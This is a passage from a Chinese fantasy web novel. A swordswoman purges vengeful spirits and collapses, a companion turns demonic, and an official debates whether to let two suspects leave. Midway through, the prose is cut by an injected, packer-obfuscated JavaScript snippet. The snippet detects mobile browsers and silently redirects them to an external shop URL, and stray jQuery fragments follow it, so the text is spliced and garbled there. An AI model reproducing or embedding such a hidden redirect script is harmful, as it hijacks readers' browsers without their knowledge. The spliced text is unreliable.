许泠手中的噬灵剑经过血气滋养,逐渐褪去漆黑,化为血红色,爆发出阵阵嗡鸣声。众人隔着屏障都能感受到其中蕴含着浓重的戾气与杀意,正在四散开来,难以压制。
她手腕间的鲜血滴落到地面的阴阳八卦形法阵上,法阵顿时变得猩红,图案像是用鲜血一笔一笔绘制而成。
浓重的血雾从法阵中央弥漫开来,向上汇聚涌入一端剑柄,另一端剑尖连入苍穹,血气被上空巨大的漩涡吞噬殆尽,又将其一点点晕染成血红。
许泠身形岿然不动,手腕一转,将噬灵剑背于身后,独身立于血色苍穹之间,垂眸俯视法阵中看不见的数千怨魂。
她一指立于唇上,嘴唇微张,清冷的音色仿佛能洞穿一切灵魂。
“诸魂寂灭,尘归天地!”
随着她一语落下,法阵正中央传来一声极其悲惨的嘶吼声,随后法阵中升起丝丝缕缕的黑烟,随着黑烟消散殆尽后,便再没半点声响。
“收!”
许泠抬手朝天轻轻一挥,苍穹之上,风云雷电戛然而止,法阵中央的诛魂杖在一瞬间消失不见,而周围的屏障也在逐渐散去。
她身形从半空中缓缓落下,明明凭一己之力清灭数千怨魂,却只是脸色略显苍白,全身上下依旧不染纤尘,让人一瞬间恍惚觉得仿佛是有神明临世。
池竹抬头望着许泠,也微微失神片刻,真不愧是小世界女主,天道气运之女,在许泠身上,她甚至能看到一丝的神性。
在许泠脚尖刚沾地时,沈纪宁便快步冲过去,伸手扶住她的身体。
“师姐!你还好吗?”他语气格外急切。
“无事!”
许泠神色平淡,手上寒光一闪,手中的噬灵剑顿时消失不见。她朝沈纪宁摆摆手,示意他不用担心。
“让我看看!”
沈纪宁根本不相信她说的话,噬灵剑极难掌控,不论是谁使用都会对自身造成极大的伤害,怎么可能会没事!他不等许泠反应过来,便握住她另一只未曾受伤的手腕,用指腹按压在她的脉间。
不看还好,越看沈纪宁眉头皱得越深,片刻过后,他脸色一沉:“还说无事!这噬灵剑都快将你的血气吸收殆尽了,怎么会没事?”
沈纪宁抬眼看向许泠那只还在往外流血不止的手腕,神色紧张又焦急,他伸手摸遍自己全身上下,却也没能找到一丁点药。
随后,他像是又想起什么似的,双眸一亮:“我记得师姐你出门时是不是带了金创药?”
许泠神色不变,像是对此毫不在意,轻飘飘解释道:“我刚才见池公子受伤,便给他用了!”
什么?这……
沈纪宁快速转过头去看池竹。
“实在对不起!我……我给用完了!”
池竹对上沈纪宁满含希冀的目光,声音颤颤巍巍,有些欲哭无泪。她当时也是怕给裴衍用药少了不见效,真没想到许泠也会受伤。她要是知道现在会发生这样的局面,打死她也不会都给裴衍用啊!
池竹的活对沈纪宁来说,无异于就是一道晴天霹雳。
“那一瓶那么多,你怎么就能……”沈纪宁神色间带了点愠色,语气像是质问开口。
“沈师弟!”许泠皱眉打断了他的话。
“不得对池姑娘无礼!那是我自愿给池公子用的!”
沈纪宁整个人急得仿佛快要哭出来了:“可是师姐……”
“没有可是!”许泠厉声瞥他一眼:“此事不劳沈师弟费心!我自会回长缨派找医修疗伤!”
说完,许泠拉开了一些与沈纪宁的距离,转头朝贺砚之的方向看过去,微微弯腰,拱手作礼。
“此处阴气已除,至于剩下的还要劳烦贺大人独自去查,在下便先走一步!”
“许姑娘言重了!”贺砚之连忙弯腰回礼:“今日在下还要多谢许姑娘出手!”
言罢,许泠起身要走,却突然感到一阵眩晕传来,她堪堪稳住身形,强撑着意识摇了摇头,语气微弱:“不必谢……”
只是话还没说完,她感到眼前一黑,整个人便不受控制地向后栽倒。
“师姐!”
沈纪宁见状,惊呼一声,连忙伸手扶住许泠,让其靠在自己的肩膀上。
他伸手轻轻晃了一下许泠,却不见她有丝毫的动静。沈纪宁神色肉眼可见地变得慌张起来。
他来不及多想,将昏迷中的许泠拦腰抱起,朝贺砚之匆匆告别。
“贺大人,对不住,我师姐身体消耗过大,我要送她回长缨派休息一段时间,至于去清河城的事,待我将师姐安顿好之后,再来与你商量,还望贺大人见谅!”
“无妨!”贺砚之摇了摇头,看向许泠的神色同样有些担忧:“许姑娘身体要紧,清河城的事情不急!”
他话音刚落,只见沈纪宁微微颔首,便化作一道光线,瞬间在院中消失不见。
……
此时宅院中只剩下池竹与贺砚之面面相觑,以及一个还未从诛魂杖中回过神的裴衍。
池竹偷偷瞥了一眼贺砚之的神色,见他神色没什么异常。她咳嗽两声,清了清嗓子,随后小心翼翼地开口同他商量:“贺大人,那既然许姑娘和沈公子都走了,那我们……”
闻言,贺砚之转过身看着池竹,神色淡淡开口:“池姑娘二人如今是嫌犯的身份,放你们走,是不是太难为在下了?”
“怎么会是为难呢!”池竹有些心虚地讪讪一笑:“反正沈公子这一时半会儿又回不来,我们回去一趟又没有关系,再说我们和贺大人家住那么近,还怕我们能跑了不成?”
“拦不拦得住,还真不知道……”贺砚之语锋一顿,微微蹙起眉,神色像是在认真思索着什么。
片刻过后,他轻笑一声,缓缓接着道:“在下本就了解池姑娘,也不知道池姑娘都有些什么本事,若是一时疏忽,让池姑娘跑了,只怕是再也找不到了吧?”
呃……
这贺砚之瞎说什么大实话!
池竹无奈深吸一口气,调整好心态,面上挂上显得人畜无害的笑:“看贺大人说的,这不是舍弟受伤了,我就是想带他回去歇歇,我们之间难道连这点信任都没有吗?”
“有没有信任,池姑娘心里难道不清楚吗?”贺砚之挑了挑眉。
池竹对上贺砚之探究的眼神,心里咯噔一下。现在沈纪宁他们也走了,没人能看管他们,照贺砚之对他们这不依不饶的样子,让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14254081|148176||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他放过自己显然是不太可能了,不会真的直接把他们送到大理寺去吧?
他们才刚从皇城司的地牢中出来,那种暗无天日又潮湿阴森的地方,能不去,她就不想再去第二次。
而且这次他们若是进去,有贺砚之这样的人看管他们,像之前在皇城司脱身用的金蝉脱壳之计根本就行不得。
除非是贺砚之再亲自放了他们,否则一旦进去,往后他们恐怕是想出也难再出来。
池竹越想越觉得心惊胆战,感觉背脊上渗出一层密密麻麻的冷汗。
“不过……”贺砚之话锋一顿。
池竹闻声,立马抬头望向他,心中隐隐藏了点期待。
贺砚之语气缓和下来:“池公子的脸色看起来确实不太好,让你们回去也未尝不可,要不要在下再为请位大夫?”
“不用劳烦贺大人!”池竹神色间难掩激动,语气霎时间轻松不少,眸中笑意满满:“舍弟他,就是有点累了,回去休息一下就好!休息一下就好!”
“既然如此……”贺砚之眸色一暗,面上笑意却不变:“池姑娘便也请回吧!”
“好的!好的!”池竹笑的双眼弯成了月牙。
池竹顿时觉得贺砚之果然是个“是非分明”的好人,怪不得能成为人人称赞的好官!
只不过怕是要拂了这位贺大人对她的信任,自己这一走,肯定是不会再和贺砚之再有任何交集。她要带着裴衍躲得远远的,从此天高路远,她就不信贺砚之还能追他们到天涯海角!
这样想着,池竹拉着裴衍转身。
只是还刚走没两步,只见一直低垂着头,沉默不语的裴衍,此时却用力挣开她的束缚,以极快的速度窜出,让池竹毫无准备,伸手抓都抓不及,直奔贺砚之的方向而去。
“喂!你干什么!”池竹见状惊呼一声。
贺砚之没来得及避开,直接被裴衍一头撞倒在地。
他对上裴衍瞳孔中的双眸猩红似血,愣神片刻。
而裴衍整个人压在贺砚之身上,攥起拳头便要往他身上挥去。
贺砚之回过神,伸手握住裴衍差一点就要落下的拳头,将他从自己身上推开。
只是还没等贺砚之起身,裴衍便又想扑上去。
池竹直接一把从后面死死拉住了裴衍的衣领,让他顿时动弹不得,接着又强迫他转过身对上自己。
裴衍感受到池竹的触碰,他身体微微颤抖起来,似乎是在极力隐忍着什么。
而当池竹看清裴衍猩红的双眸时,差点一口气没上来。
祖宗!贺砚之还在啊!你怎么就当着他的面直接魔化了啊!现在只能祈祷贺砚之他不认识魔化的特征,不然这次只怕天王老子来了也救不了他们俩!
贺砚之从地上起来,神色警惕地盯着裴衍:“池姑娘,你弟弟他这是怎么了?”
“这是……”池竹垂下眸,目光不敢看贺砚之,神色有些紧张地咽了咽口水。
只是还不等她开口说话,面前的裴衍攥紧拳头又朝她挥过来。
见状,池竹顿时瞪大双眼,伸手紧紧握住裴衍的手腕,声音隐忍着怒气:“你居然连我也想打?你他爹的,睁大你的狗眼,好好看清楚我是谁!”